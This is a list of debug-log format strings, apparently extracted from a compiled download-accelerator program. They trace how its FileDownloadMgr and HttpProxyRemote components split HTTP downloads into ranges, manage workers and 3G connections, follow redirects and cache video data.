[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

